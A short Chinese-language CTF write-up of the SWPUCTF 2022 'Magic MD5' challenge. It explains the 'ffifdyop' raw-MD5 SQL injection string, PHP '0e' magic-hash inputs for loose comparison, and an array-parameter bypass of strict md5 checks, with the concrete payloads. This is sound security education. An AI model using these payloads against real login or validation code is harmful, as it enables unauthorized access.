為了保持做題的感覺和持續學習,也就有了每日一題系列,選一些有意義的題目或者一些CTF新穎題目作為參考學習。
[SWPUCTF 2022 新生賽]奇妙的MD5
1. 訪問首頁界面并進行分析
估計題目MD5提示,查詢得知
ffifdyop 這個字符串是一個奇妙的MD5字符串
因為將“ffifdyop"MD5每兩位十六進制對應一個 ASCII 字符之后有'or'6 ,本身看似無意義,但一旦放入早期未做安全防護的 SQL 登錄驗證語句中,就會瞬間改變邏輯,代入SQL后語句會被解析為查詢邏輯為 “真,導致整個查詢條件恒成立,實現 SQL注入攻擊
2.查詢字符串ffifdyop
3.查看源碼,繞過弱比較
<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){;
-->#字符不相同,但是md5值相同
0e 繞過 即可
?x=QNKCDZO&y=240610708
(這類字符有很多)
QNKCDZO
240610708
314282422
571579406
903251147
s878926199a
s155964671a
s214587387a
s214587387a
4.下一步,數組繞過強比較
<?php
error_reporting(0);
include "flag.php";highlight_file(__FILE__);if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){echo $FLAG;
}
wqh[]=1&dsy[]=2